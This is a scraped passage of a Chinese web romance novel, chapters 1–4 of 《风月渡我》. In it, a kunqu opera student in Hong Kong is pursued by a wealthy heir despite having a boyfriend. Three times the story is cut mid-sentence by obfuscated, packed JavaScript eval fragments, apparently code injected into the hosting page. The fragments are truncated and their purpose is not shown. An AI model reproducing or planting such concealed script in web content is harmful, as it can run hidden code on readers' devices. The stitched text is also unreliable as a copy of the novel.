《风月渡我》 1. chapter01 01 周思珩抵港那日,风球系统发出八号预警。 他无视预警,迈步向停在通道外的银灰色柯尼塞格走去。 坐在副驾驶的助理唐钰洲走下来,恭恭敬敬开了后座的门。 “好久不见,周总,欢迎您回归恒庭。” 不等他开口,这位合格的助理已经呈递上一周的工作计划,骤雨将至,他斟酌着建议道,“今天天气很差,港岛大剧院那边,不如您下周再去?” “我没有下一周的时间来浪费。” 周思珩薄薄的眼皮撩起,他落在唐钰洲的脸上,足够温和,却又势在必得。 带着几分明明白白的压迫感告诉他—— “我要的东西,今天必须得到。” * 与此同时,港岛大剧院也因为突如其来的八号预警受到冲击。 眼看开场时间快到,台下观众寥寥,剧团众人都焦虑异常。 “这可怎么办,这么点人根本赚不回成本。” “这也太倒霉了,来港岛第一个开场就遭遇八号台风预警。” 作为剧团成员之一的沈绵意率先开口,她双手托着下巴,无限惆怅,连化妆的心情都没有。 恰巧温如琢推门而入,她刚换好作为主演的戏服,低头拢水袖之际,忽然一道身影直直撞进怀抱。 “师姐,你说怎么办啊。” “我还指望靠今天挣下来的钱预交新学期的房租呢,港岛的消费水平实在太高,鸽子笼一样的小房间,居然要我这个数。” 沈绵意捏着手指比出一个小拇指盖的大小,神色无比惆怅。 其实不仅仅是她,作为中央戏曲学院与港岛演艺学院联合办学的昆曲专业,他们按照规定,于大三学年赴港深造。 港岛物价与内地天壤之别,负责他们专业的老师为了缓解他们的经济压力,特地成立了这支昆曲艺术团,一为筹措资金,减少压力,二为实战锻炼,积累舞台经验。 此次,带领他们来港岛的是中国昆曲第六代传人,如今年逾半百的段梅英,作为中央戏曲学院的终生荣誉教授,段梅英在昆曲界无疑是大拿一样的存在。也 作为段梅英教授的关门弟子,温如琢被大家笑称为剧团的“大师姐”。 事实上,她温善可亲的性格也的确担得上这样的名称。 面对大家或多或少的焦躁,她轻声开口,“我算过门票的收入,在扣除场地和宣传费用以后还有一大笔结余,应该够我们生活一段时间,至于以后,演好一场是一场,焦虑未来本来就是一件没有意义的事情。” “从小小南城走到如今港岛,我们要相信自己的实力。” “是啊,我还要努力留港,不辜负联合培养这个机会。” “就是就是,我还要拿下港籍,带我爸妈来过好日子呢。” 大家的情绪又被激励起来,那股低迷不振的劲头消散,每个人坐回属于自己的梳妆台前,开始描摹唱好人生的一场戏。 温如琢拍了拍沈绵意的肩头,算是安抚。 “绵意,如果你房租有压力大话,可以过来和我合租。” 沈绵意这几天一直烦恼找房子的事,自己一个人在港岛寸步难行,高昂的中介费又令她望而却步。 如今听到温如琢的话,简直犹如救星下凡。 她一把激动的抱住温如琢大喊道:“maripaz,你简直是我的女神,好想和你结婚。” 在沈绵意眼里的温如琢,漂亮,性格好,她的那种漂亮不是世俗意义上的那种美丽,而是江南烟雨乡里那种朦胧雾色下走出的美人。 精致流畅的鹅蛋脸庞宛若一块上好玉石,肌肤冷白如瓷,一双微微上扬的桃花眼清澈温柔,不点而红的双唇饱满明艳。 她的目光望过来,就是一片小意柔情。 真难以想象,日后会是怎样的男人,才堪堪匹配和她共入婚姻殿堂。 沈绵意一颗焦躁不安的心渐渐被抹平,她轻轻叹了口气,还是忍不住说,“可是要是空座率太高,咱们的名声打不出去,以后的票可就难卖了。” “别担心,今天有段教授坐镇,她已经发话,要拿签名照必须影迷本人到场,否则千金不换。” 作为享誉国际的老牌艺术家,段梅英曾多次赴英、美、法,日等多国进行表演,在港岛戏剧圈也享有盛名,尤其一些早年从大陆迁居过去的旧式贵族,很是捧她的场。 这来港岛的第一场戏,就以此为噱头。 温如琢轻声说:“不是有位姓周的先生是教授的知名影迷吗?” “周先生?哪一位?” 这个问题刚问出口,沈绵意就急急接过话头。 “全港岛能称得上周先生这个名号的,也只有那一位了吧。” 眼见沈绵意一副讳莫如深的模样,温如琢偏了偏头,其实也不大明白这位周先生到底是谁。 她只是知道每年固定的某一天,段梅英的窗前会出现一束最漂亮的百合花,有一回贺卡不小心掉落,她捡起来看见上面的署名。 问段梅英:“这位Mr.zhou是谁?” 段梅英视线轻轻:“是位很遥远的影迷。” 温如琢一直是两耳不闻窗外事的性格,她对感情反应迟缓,也在这时候忽然想到,其实南城到港岛的距离,也算不上什么遥远。 她在这里沉思,那边的话题却已经歪到天边。 沈绵意作为追星少女,对娱乐八卦的掌握简直如数家珍,刚刚阴霾心情一扫而空,此时此刻,她托着腮,非常有少女情怀的举着手机里一张相片分享。 “你们知道他吗?” “垄断港岛房地产的地产大鳄恒庭唯一继承人,十八岁那年自立门户一手开创周氏集团,真正成为自己的资本,前两年周家还在道上混的时候,这位可是被称作‘太子爷”的,只不过这两年转型发展正经产业,才低调了下来。” “一干豪门继承人里,他是我见过最有本事的,直接越过老子承权,听说周老爷子对他特别满意。” “最关键长的特别帅,又痞又浪,颜值可以出道当港星。”沈绵意满是粉色泡泡,“你说,如果这次周老爷子来,我有机会能看见他吗?” “能不能看见他我不知道,我只知道你再不换服装就没有化妆的时间。”温如琢低头看了眼表,好心提醒,“绵意,如果你不想因为失误被段教授加练的话……” 话没说完,沈绵意已经一溜烟跑到隔壁更衣室。 至于那位地产大亨的太子爷,就像一缕轻烟一样无关紧要从她心里飘散。 港岛是一座纸醉金迷的繁华城,在这里财富创造的速度堪比印钞厂,所有带着野心与欲望的人都渴望留在这里。 而温如琢只想在这里演好一场风月。 * 离正式开场只有最后一小时,温如琢坐在梳妆台前已经换好戏服,化妆师正在为她上妆。 戏曲的妆容略浓,这种油彩底妆很是考验皮肤状态。 Tina做了这么多年的化妆师,还是第一次看见状态如此好的皮肤,她忍不住上手摸了两把,夸赞道,“maripaz,我觉得你很适合当明星。” “你长得太漂亮了,难怪他们都说你是段老师钦点的接班人。” “哪有。”温如琢客气笑了笑,“只是因为老师近两年只收了我一个徒弟而已。” Tina夸赞道:“你是名副其实的杜丽娘。” 港岛第一场戏,他们选了最经典的《牡丹亭》,温如琢扮演其中杜丽娘一角,这两年戏曲传承没落,她时常活跃在舞台之下,已经隐隐以小青衣之名出名。 温如琢被打趣的有点不好意思,她是个慢热又温吞的性格,Tina无敌的e人热情令她有点难招架。 正想着要怎样回应,只听Tina一声夸张的尖叫,将所有的人目光都吸引。 “maripaz,你的柳梦梅来了。” 作为她的男友,程嘉铎已经不是第一次来这儿了。 他轻车熟路走进来,体贴的扶住温如琢因为站起来有点摇摇欲坠的点翠发髻,怀里捧着一束洛神玫瑰花,温柔地递到她怀中。 然后亲了亲她脸颊。 “预祝你港岛首演顺利。” 看见他来,那些强撑的坚强都卸下,被勾起的一点哀愁,温如琢低着头,像小女孩一样嘟囔着和他撒娇。 “好担心没有观众。” “怎么会没有观众呢?” 记不得看了多少场《牡丹亭》,这出最经典的戏码,程嘉铎只记得 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如她所想,受这场恶劣天气影响,台下观众寥寥,大片空落落的座位,零星坐着几位老人家的面孔。 戏曲是个已经落寞了的行当,然而台下有人,这戏就要唱下去。 温如琢一抬水袖,将将要唱,目光却猝不及防和首席贵宾座的人对视。 此刻台上灯光未亮,伴奏未起,在一片昏沉冷调的黑暗里,高坐在明台上的男人宛若天生的主角,天窗缝隙里漏出一盏半明半暗的光线,恰好打在他锋利分明的侧脸。 黑暗里,温如琢看不太清他的面孔,只依稀看见他骨节分明的手指搭靠在扶手上,正漫不经心把玩一只老式怀表。 倏忽,他抬起头,掌心朝上扬了扬,向她做了个“请”的动作。 也是在这一霎那,属于舞台的那束光打下,将他们的身份颠倒,温如琢敛下心神,婉转唱腔,身段窈窕。 一曲唱罢,台下满堂喝彩。 温如琢却紧张的心跳砰砰,她深深舒了一口气,恰好看见台下的程嘉铎,他对她报以赞扬的热烈掌声,大红色的地毯和观众席上的红色椅背融为一体,在昏暗的灯光下让人看的眼睛发花。 致谢完下台时不慎踩上裙摆,头上的珠钗繁重,压得她身子忍不住往前倾,几乎就要跌倒。 慌乱间,一只手扶住她腰身。 她心跳顿了一下,下意识抬起头,蓦然与一双狭长眼眸对视,这是一张好浪荡的脸,眼眸深邃,鼻梁硬挺,略玩世不恭地笑着,好似在招惹人。 温如琢心跳错了一拍,呼吸急促起来,她下意识想要往后退。 头上坠着流苏的珠钗此刻却不听话,就这样勾着她的青丝,与他手中相握的那块镶嵌着帝王托帕石的怀表链条勾缠在一起。 温如琢惊慌失措的抬起眼,这种进退两难的处境令她一时无措,抬起手的堪堪抵在男人的胸膛,下意识拉开的距离,令头皮生出一阵钻心扯痛。 “别动。” 一道清沉平和的嗓音落下,与此同时,温如琢感到下巴被压了一道力,她的视野之中渐渐出现男人骨节分明的一双手,她心跳的更厉害,不安地抬起头,也恰好与他一双凉薄寡淡的眼眸对视。 男人的动作很缓,甚至称得上是慢条斯理,下一场好戏开演,所有的灯光汇聚中心,在这个堪称隐秘的离场席,温如琢却总担心有别人经过,频频侧望的目光,她听见耳畔落了一声轻轻的笑。 他的动作似乎更慢,好像存心戏弄她。 终于,那缕勾缠不断的发丝被解开,温如琢已经感觉周遭的呼吸逼仄,她想也不想又往后退,却忘掉了男人扶住她腰上的手掌。 指尖的触感在此刻格外分明,温如琢飞快说了声“谢谢”,仓皇的抱着袖子就要走。 腰上的桎梏却并没有消失,这滚烫的存在感极强的,连同目光一起,一寸寸抚过她瘦削突出的蝴蝶骨,再往上—— 温如琢目光一凛,撞进一双漆黑的眼眸。 她不知道该怎样形容这双眼睛,那股冷颤颤的寒意似乎从骨缝里钻出来,她感受到这道目光之下的审视与玩味。 就好像一张网,将她捕下。 2. chapter02 02 她从没遇到过这样的男人——一个不管是直觉还是视觉都令她感到危险的男人。 对于这样的人,躲避是她的本能。 风将一句“你叫什么名字?”远远地带到她身旁,温如琢脚步顿了一秒钟,随即像什么也没听到,拎着裙摆小步往后台休息的地方跑。 程嘉铎早已在后台等待她。 他捧着一束色调淡紫的花束在休息室门口翘首以盼,温如琢走过去看见他,脸上不自觉溢满笑容。 她接过花,忍不住问,“怎么又送我一束?” “意义不一样,那束洛神玫瑰是送给我亲爱的女朋友,这束洋牡丹……”程嘉铎故意卖了个关子,拖长的语调迎着她明亮的眼瞳,他缓缓道,“这束花是作为影迷送给伟大的崔莺莺扮演者——温如琢小姐。” 温如琢被他这套说辞逗得“扑哧”笑出来,刚刚离场时发生的不快瞬间无存,她踮起脚,伸手拨开程嘉铎额头上的碎发,这下她终于看清他一双温柔清润的眼眸,像清晨朝露一样,无声滋养着她的一切。 “真的吗?”温如琢故意问,“你是不是哄我开心?” “当然不是。”程嘉铎说,“实话说,看第一场的时候我还有些看不懂,但后来因为你,我渐渐体会到戏曲的魅力。” 这也是温如琢一直想要做的,她希望大家都能品味到戏曲的独特魅力,消失在时代潮流下的戏曲有朝一日能重新登上时尚的舞台。 她伸手擦掉程嘉铎脸上因为等待的汗水,发自内心地对他说,“谢谢你,一直支持我。” “不用感谢,我只是做了一个男朋友应该做的事。” 程嘉铎朝她歪了下头,有点儿俏皮地说,“那么接下来我能不能行使作为男朋友的权利,邀请你参加今晚我为你举行的庆功宴?” 温如琢自然欣然答应。 只是她刚张开嘴,就听见敲门的声音响起,歌剧院的负责人一身立挺西装走过来,言语间甚至带有几分恭敬地对她说—— “温小姐,有人请你。” 温如琢愣了一下,谁会想见她?谁又有那么大阵势能请动歌剧院的负责人亲自请她? 她还记得数日前,同这位负责人商洽场地费时对方一脸倨傲又冷漠的样子,他说——“温小姐,港岛大剧院作为百年剧团,不缺一个民间艺术团的来访,如果您对价格有异议,烦请出门左拐,另寻他处。” “不过我要友善提醒,除了这里,您大概也找不到对昆曲有兴趣的剧院了。” 程嘉铎体贴开口:“没事,你先忙。” “我在这里等你。” * 负责人先行一步来到包厢,港岛大剧院顶层进入权限,只有全港岛屈指可数的几个人拥有进入权限。 从不向外界开放的私人包厢,此刻屋内点燃幽幽檀香,仿中式的复古建设,雕梁画栋间尽是珍品。 负责人忐忑着开口:“温小姐说她还需要半小时过来。” 未曾想对面出乎意料的好说话,周思珩欣然点了点头,十足绅士地说,“应该的。” “对了。” 周思珩吩咐道:“段梅英的签名照,劳烦你替我取过来。” 负责人满口应下,正弯着腰往门外退的时候,周澎嘉推门而入,他大步流星走过来,不客气地在周思珩旁边坐下,把手机扔进他怀里。 他没好气道:“我说你跑哪里去了,原来在这里躲清闲,你妈的电话都打到我这儿来了。” 周思珩挑了下眉毛,十分无谓地说,“手机没电了。” 这理由周澎嘉至少听了有八百年,他和周思珩同岁,他是周家旁支一脉,因为月份稍大,勉强算得上是他堂兄。 在周澎嘉看来,全世界最难搞的人,当属周思珩和他妹妹周芙嘉是也。 妹妹欺负两下就掉眼泪,对周思珩这位兄弟,周澍嘉可一点都不手软,他把手机又捞回来,拨通施鸿敏电话,利索扔过去。 没办法,这位表姑妈威名太盛,难搞的连周澎嘉都不愿意多招惹。 “澎仔?” 电话一接通,周思珩懒洋洋的声音响起——“妈,是我。” 那边顿了一秒,施鸿敏声音还算克制,“为什么不接我电话?” 周思珩把手机没电的理由又说了一遍,施鸿敏却不是一个好糊弄的人,那边声音已经冷下来,不带有一丝感情的教训他。 “明天我让唐秘书给你多送两台手机,如果两台还不够,那就十台,千亿家产的恒庭供不起你周大公子的正常通讯?” 周思珩懒懒散散地笑:“恒庭现在爷爷当家,还算不上是我的呢。” 施鸿敏说:“它必须是你的。” 家族传承的更迭不允许作废,同样,在这一场最后家产的争夺位中,她施鸿敏的儿子也决不允许失败。 当听到咿咿呀呀唱曲的声音,施鸿敏眉头一皱,问他在哪里。 周思珩摸出烟盒,手里捏着一根细烟有一搭没一搭地敲着,语调也懒。 “在给爷爷拿签名照,他不是最喜欢唱昆曲的那个角了么?” 她说:“这种东西还需要你亲自来拿?” 周思珩笑了笑:“不亲自来,怎么体现我的诚意?” 这个理由勉强说服了施鸿敏,电话挂断,世界终于恢复了清净,周澎嘉长长呼出一口气,心想终于结束这一整套盘问的流程。 他有心活跃气氛,长指叩着桌面,笑着问,“我说周大公子,你真是为了签名照来的?刚刚人亲自见你的时候你怎么不要?还指明要见一小姑娘。” “我说,你回国第一天,不要事业没起步,感情先栽个跟头。” “有段时间没见,你嘴巴可真够毒的。” 周思珩长腿一搭,把手臂上的风衣递过去,守在一旁的佣人自动拿过去熨烫,门外似乎有点动静,他顿了一下,饶有趣味地向前弓身,泛有光泽的皮革束缚带紧紧勒住小臂及腰腹的位置,顺着熨贴的衬衫一路往下,是几经克制却仍旧爆突的肌肉。 他漫不经心地笑,眼睛里的寡情不少。 只用玩味的语气道:“想太多,只是好玩而已。” * 温如琢进来的时候恰好听见这句话,这熟悉的轻佻声音,让她进来的时候就忍不住一颤,高跟鞋没有踩稳,鞋跟在大理石瓷砖落下一道划痕。 她心下一惊,这蓝翡翠一样漂亮的瓷砖颜色,她心里已经自动浮现一长串数字的赔偿金额。 但在场的人似乎都没有放在心上,这是一间极宽敞的套房,最中间立了一扇晚清彩漆点翠的百鸟朝凤屏风,恰恰好,挡住了所有的视线。 如果不是因为听过他的声音,温如琢一定不会知道里面的人就是他。 她心跳忍不住加快,想到刚刚接到邀约时,那位姓唐的助理问她会什么,她扬起一张脸,略带紧张的说会唱点歌,简单的乐器,譬如古筝、钢琴也都会一点。 “好像来不及准备现成的乐器了。” 那位唐秘书顿了一下,眼尾扫到放在角落里的一把琵琶,随意地问她。“弹那个行吗?” 临进来之前他还宽慰她,说不需要太紧张,里面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周思珩慢慢俯下身来,塞在衬衣口袋里的怀表挂链垂下来,轻轻刮蹭过她的脸颊,仿若抚摸一样。 温如琢被这冰冷的金属触感一颤,她下意识想要往后退,被圈禁的一张椅子范围,迫得她不得已仰起头来,就这样撞进周思珩的一双眼睛里。 他的眼瞳很深,漆黑的像墨一样的颜色,偶尔遇见趣味的东西会扬起眉毛看过来,类似于热带雨林蛰伏已久的狮王看见猎物的眼神。 此时此刻,她鲜明的感受到这目光出现在自己脸上,只是一瞬,快的让人以为是错觉。 温如琢双手交叠放在膝盖上,因为紧张,指甲已经用力嵌入掌心。 瞧见她几乎快要发抖的神色,周思珩往后退了一步,略留了点空气给她喘息。 他双手摊开,略带了点无奈的语气。 “你看,我还是知道了你的名字。” 好像在讽刺刚刚她的自不量力,沉默又能怎么样,知道她的名字,对他来说简直是轻而易举一件事。 温如琢讨厌这种被掌控的感觉,也讨厌这种危险的男人,诚然,有一部分女人会将这危险性当作致命诱惑。 她再度站起来,青蓝色旗袍宛若落水涟漪,荡漾出一朵又一朵碧色莲花。 她要往后退一步,他就往前进一步。 无知觉的,周思珩脚尖碾上摆在座椅旁边的一束花,又像早就看不爽似的。 他“啧”了一声,迎着温如琢微微恼怒的目光—— 明知故问:“男友送的花?” 3. chapter03 03 “是。” 温如琢紧紧蹙了眉,不知道他是有意还是无意,她蹲下来将这束花抱在怀里,伸手掸去被踩上的灰尘,一副爱若珍宝的模样。 若不是他问这话的时候声音一如扶她时低沉醇厚,语调亦温和有礼,宛若绅士。 温如琢真以为他是故意的。 可他又有什么故意的动机?难道要说他看不惯这一束花?似乎又是绝不可能的事。 那也只能是对她这个人有意见。 她没想到进来遇见的人会是周思珩,哪怕没有事先了解过他,在踏进港岛这片土地的时候就已经听过他的名字。 他是港岛首屈一指的大佬,年纪轻轻身价逾百亿,出手就是千金阔绰,是无数人趋之若鹜的对象。 这样的人,她得罪不起。 于是温如琢耐着性子点了点头,仰起仓皇的脸望向他。 她问:“是我唱的不好吗?” “不是。” 周思珩抬了下手,房间里的人极具眼力见的撤了出去,还剩最后一个,他眉头一挑,看着周澎嘉,略有些玩世不恭地问—— “你是不是有事?” 周澎嘉撑着下巴,摆明了看好戏,只说自己没事。 周思珩指着门外,不客气地说,“没事先滚。” 房间里只剩下他们了。 静谧的氛围好像一把拉到满弓的箭矢,“铮”的一声,她不小心拨到琴弦,以泄露的心绪将这把箭矢射出。 同时,越来越逼近的距离,她手里抱着的花束一松,就这样掉落在地上。 温如琢下意识俯身去捡起。 周思珩笑了笑,脚尖踢开她男友送的花,他姿态依旧优雅,颀长身形完全笼罩,温和的气息要将她整个吞噬。 “你有男友。” “但我还是想要你。” 空气里静的连落根针的声音都明显,温如琢不敢置信地瞪大眼睛,几乎以为是幻听。 她背过身去冷静思考,而周思珩此刻,也抽身走向另一边,似乎体贴为她留下一寸空间。 他撑着手臂看向窗外,八层视野极佳,他俯瞰而下,恰好看见站在檐下等待的男人,灰色卫衣黑色长裤,简单的搭配,属于学生的气息浓重。 周思珩不由想到刚刚倚在窗外看见的一幅光景——年轻漂亮的女孩拎着裙摆小步跑过去,不知道男友低下头对她说了什么,她踮起脚笑着搂住他胳膊,不复清冷,满是娇俏。 这是温如琢从来没有在他面前展露过的鲜活。 若干年前,在巴黎戏剧院他曾经惊鸿一瞥见过她一面,那时候她坐在台上独奏,清清冷冷恍若无人能走入她心境。 那时候一瞥,也就这样过去了。 没想到再见又是一番天翻地覆,原来她还有这样甜蜜时刻,周思珩抿住唇,品味着这有点儿陌生由来的情绪,倒是欲望很能琢磨明白。 他对她有点儿感兴趣。 于是理所当然说——你有男友。 但我还是想要你。 十分钟的思考时间已过,周思珩双手抱住,交叠双腿,倚靠在墙面上。 有点松散的姿态,却犹如洽谈一场商业合作一般开口。 “考虑一下吧。” 他温和的目光注视着她,比她年长的几岁沉淀在声音里,就这样缱绻地诱惑着她。 “我会是你最好的选择。” 温如琢再也听不下去,她牙齿咬住下唇,扬起的手在半空中顿住,随后又极尽忍耐地落下。 她冷着声音反问:“考虑什么?” “难道在周先生眼里,爱情也同名利场上的生意经一样,是要权衡利益的?” 周思珩也学她反问。 “你觉得我们是爱情?” 无耻之徒! 温如琢气的推门而走,厚重古朴的雕花大门,她单手抱着琵琶,怎么也推不动,后来还是周思珩摁了铃,外面站成两排的人恭恭敬敬开门,目送她离开。 终于逃脱这逼仄的氛围,温如琢小跑着下楼,连电梯也等待不得,她已经无法在八楼的空间待住片刻。 明明白白袒露的欲望,他是多睥睨自信,还是真的对她势在必得? 温如琢自觉她不是什么绝世大美女,港岛明星如星如月层出不穷,她只是初来乍到的一粒星辉,不应该在这里留下任何的痕迹。 或许应该是她多想,他只是戏弄她,报复她忽略了他的提问。 终于走到出口的位置,见到程嘉铎,温如琢不自觉红了眼睛。 虽然平时跟着段梅英走南闯北养成了很独立的性格,但她心里总是万分依赖他,依赖一个人,就总是不由自主在他面前放大所有的委屈。 但是温如琢也知道,在赚钱这条路上,受周思珩这点刁难压根算不了什么。 比起那些有点钱就高高在上的人来说,他甚至算得上是态度温和,更何况出手还那么阔绰。 早已预警的八号台风在这时候开始显露威力来。 雨势渐渐大起来,噼里啪啦打在路边一棵芭蕉树上,程嘉铎提前借了一把伞,此刻打向她。 “我先送你回去吧。” 说完,他放在口袋里的手机铃声响起,他说一句抱歉,把伞递给温如琢,走到廊下接通。 温如琢耐心等了五分钟,她看见程嘉铎走过来,他肩头落了点雨珠,她伸手替他掸去,却听见他说,“刚刚教授给我打电话了,说要开组会讨论一下新的课题。” 程嘉铎是比她大一级的学长,他的老师是港大最有名的英国教授,为人严厉是一方面,温如琢知道程嘉铎一直希望拿下他手里公费出国深造的名额。 他几经深思熟虑,最后还是说,“没关系,我先送你回去。” “那你来得及赶回去吗?” 她住的酒店和港大在两条不相交的路,温如琢把伞递给他,非常善解人意地说,“你先回去吧,我打车回去就好。” “等会说不定有剧院的顺风车载我一程。”见他面有犹豫,温如琢把伞塞进他怀里推着他走,“不是说好了吗,我们的爱情绝不以牺牲各自的前途为代价。” “你快走吧,去晚了教授又要骂你。” 程嘉铎终于下定决心,撑着伞独自潜入重重雨幕。 温如琢目送着他离开,低着头开始在打车软件叫车,等候的时间越来越长,系统提示追加车型的弹窗不断跳出,到最后,她一狠心,同意了加钱调度三公里外司机的要求。 几乎贵出一倍的车费,这时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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雨下的越来越大,风带起的雨丝已经溅在温如琢的裙摆上,让一个人等待许久显然不是一个礼貌的行为,她将要开口,却听见一阵急促的脚步声,混合着雨水踩下的声音。 一片苍茫的视野里,程嘉铎又再度出现。 他还没来得及注意停靠在一旁的布加迪,只气喘吁吁对温如琢说,“不好意思皎皎,我想起来今天是你的搬家日,我已经给劳伦布斯教授致电请假。” “等会我和你一起搬家。” 温如琢眨了下眼睛:“这样教授不会不开心吗?” “我只是叮嘱他今天台风天出行要注意,恰好其他几个师兄也不愿意冒雨出行。” 程嘉铎笑着说:“我还是不放心你一个人回去,抱歉,刚刚没想起来答应你搬家这件事。” 温如琢轻声说了句没关系。 当着周思珩的面,她握住男友的手,微微点了下头,然后打算离开。 雨很大,一把伞显然挡不了两个人,即便程嘉铎的伞大部分倾向她,因为护着怀里琵琶的缘故,温如琢的裙摆不免还是被沾湿。 走到门口的时候,周思珩的车再度停在她身边。 他没什么纠缠的姿态,举手投足每一寸都是刻入骨子里的矜贵优雅。 目光在他们十指相握的手上停留一刻—— 然后对她说:“温小姐,希望你能考虑一下我的话。” 4. chapter04 04 温如琢眸光一颤,下意识抬头见他。 被誉为黑夜之声的布加迪却如一道流星倏忽驶入发沉的暗色,姿态和周思珩这个人如出一辙的倨傲,驾轻就熟的撩拨她心弦,又干脆利落的开车离开,只剩下多余的情绪让她庸人自扰。 温如琢很不喜欢这样的感觉,诱惑意味着危险,她喜欢温暖、安宁和稳定,绝不要做潘多拉打开魔盒。 她是窘迫,但还没到那副缺钱不可的地步。 心不在焉的神情被程嘉铎轻易捕捉,他偏向头问,“怎么了,皎皎?” “那是谁?好像见到他之后你就一直不开心。” 温如琢扯了下嘴角,努力摆出一幅还可以的神情。 “没什么,我们磁场不合。” 但看阶层,他们应该不会再有见面的机会。 想到这儿,她陡然轻松起来。 “他对你……”程嘉铎的目光落在她脸上,欲言又止。 于是温如琢又开口说:“他只是邀请我单独进去弹了一圈琵琶,你知道的,这些有钱人就是花钱买享受,至于其他奇怪的要求,你放心,我没有答应他。” 她分外坚定地说:“也绝不会答应他。” “好。” 程嘉铎低头看了眼时间:“我们先打车到酒店,我借了住在附近朋友的车,等会帮你搬家。” “不过我们现在可能要等一会。” 雨还在下,因为提前的台风预警,街上行人寥寥,其实程嘉铎说这话心里也没底,打车软件迟迟无人应答,他抿直唇,定定看着温如琢。 “要不然我让我爸开车来接我们吧?这一时半会也打不到车。” “会不会太麻烦叔叔阿姨们了?” 温如琢面带犹豫,有点焦躁地打开自己手机的等车软件,期冀有个奇迹诞生。 她不是很想麻烦程嘉铎的父母专程来接她,一来见到男友长辈这件事本来就是一件略有尴尬的社交行为,二来,其实在刚到港岛时,她和程嘉铎父母有过一次短暂见面。 那次是程嘉铎的母亲招待她,地点在一家地道的港式餐厅。 程太太不会说普通话,操着一口流利正统的粤语,温如琢听的很是吃力,还要费心力回答她刁钻提问。 程太太问她父母做什么工作。 温如琢面带难色回答:“我父母都是戏剧学院的老师,我十岁的时候父亲因为心脏病去世,母亲受了点刺激,到现在身体也不太好。” 程太太面色陡然变了,又问,“那你未来有什么打算吗?是要留在港岛?” 温如琢犹豫着,还是摇摇头,她的家在南城,留不留在港岛还真不是一个百分百确定的事。 后面她留在港岛读书,程太太就再也没问过他。 温如琢也一直没勇气问程嘉铎他父母对她的看法,她知道和那些父母双全家庭幸福的小康家庭比起来,实在没什么能拿得出手的条件。 被种下的一颗自卑小树在悄然发芽,温如琢内心逃避着,她想,至少不能每次见到他父母,都是一幅狼狈等待帮助的样子。 * 黑夜之声宛若一道流星在一片苍茫的高架桥上疾驰,无数的雨滴打落,辛勤工作的雨刮器刮去所有雨痕。 密闭温暖的车厢,袖口还残留歌剧院那股清幽檀香。 周思珩已经有很多年没有闻过这样的味道,他放下手里工作的iPad,有点儿不理解的想,怎么会有人情愿沾湿裙摆,在雨中同有情人狼狈。 他淡淡吩咐道:“唐助理,等会送辆车过去。” “哪儿?”唐钰洲愣了一秒钟,随即反应过来,应了声“好”。 “伪装成的士,正常收费就好。” 周思珩就跟随口吩咐似的,不知道想到什么,他嘴角微微勾起,笑意不明。 唐钰洲觉得一点也不荣幸,来到恒庭接这位太子爷回国接受的第一件事,居然是大费周章送一个女人回家。 这是唱的哪一出? 周思珩问:“施女士给你开的年薪多少?” 唐钰洲这次没发愣,伸出手指比了个数。 周思珩嗤笑一声,抬了抬下巴。 “我给你涨一倍。” “美元。” “你照常监视我,该汇报什么的分寸自己拿捏好。” 他漫不经心抛出砝码,轻飘飘的不似在谈判,撑着下巴,食指有一搭没一搭扣着led面板,好似在进行一场心理拉锯战。 唐钰洲心里“咯噔”一下,没想到自己光辉的卧底行动第一天就走向失败。 不过怎么看,他好像又走向某种另一意义上的成功。 他立刻拨出一个电话,搞定了派出的车型。 端着笑看向周思珩:“好嘞,小周总,很荣幸为您服务。” 唐钰洲做事很妥帖,车是从出租车公司现派发的,只不过司机换成了他们的人,他特意叮嘱不用赶时间,低速缓行保持半个小时的车程即可。 于是半个小时后,在温如琢几乎不抱有什么希望的时候,她忽然看见一辆挂着空车的的士经过。 她眼睛一下亮起来,拉着程嘉铎的衣袖往前招收。 “阿铎,有车!” 程嘉铎低着头还在和家里发消息,上次见面母亲的态度不太明朗,于是他只好尽量降低女友存在感。 原本还在斟酌开口,这下有车来了,他一下把手机收进口袋里,长长舒缓一口气。 进入车内,被温暖的空调包裹,温如琢如释负重出了口气。 她报出酒店地址,询问司机大概价格,却得到一个比平时出行还要低的单价。 她疑惑地问:“下雨天不加价吗?” 司机“啊”了一声,有点含糊地解释,“最后一单了,送完我也回家了。” “阿铎,我们运气真好,这么恶劣的天气也能等到车。”温如琢小声凑到程嘉铎耳边说悄悄话,“而且完全没有多收钱。” 程嘉铎微笑点了点头,他从包里抽出纸巾,擦干雨伞上的水渍,以免打湿车内的地垫。 差不多一个小时的车程,他们终于抵达酒店。 一整天的奔波,温如琢其实已经昏昏沉沉,下车的时候没注意,遗落了手提包。 好心的司机高喊“小姐”,将她的注意力勉强拉回。 “您的包没拿。” 程嘉铎也跟着回头,他们已经走到大堂位置,他伸手把伞递给她,“你去吧,我帮你办退房手续。” 温如琢应了声“好”,折返回停车的位置拿包。 她的包落在后排中间的缝隙里,弯着腰进去拿费了一番功夫,临走时她对司机说了声谢谢,从包里给出一张10元港币作小费。 同时,司机也递给她一张卡片。 温如琢有点惊讶地接过来,她站在原地看卡片的内容,的士启动发动机,像一场童话气球离开她的世界,只留她一个人在原地如坠冰窖。 这是一张周思珩的名片,白底黑字,边缘描金,卡片背面写了她英文名——maripaz,他甚至别出心裁画了一只金色蝴蝶。 maripaz,蝴蝶,是她化用西班牙语“mariposa”得来。 他轻易读懂她名字的含义,并且以这种方式将这只蝴蝶带来她身边。 温如琢心里忽然蔓延一场巨大的恐慌。 她终于认识到招惹了一个怎样的人,他权势只手遮天,要怎样形容此时此刻的感觉,原来霾霾阴雨天,她所认为的小确幸,不过是他随手构筑的一场金丝笼。 就好像温柔地告诉她——maripaz,你这只蝴蝶逃脱不掉我的掌心。 雨还在不停的下,台风卷乱她所有的心神。 温如琢站在路边发呆,连雨伞打湿肩头都没有发觉。 程嘉铎拎着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 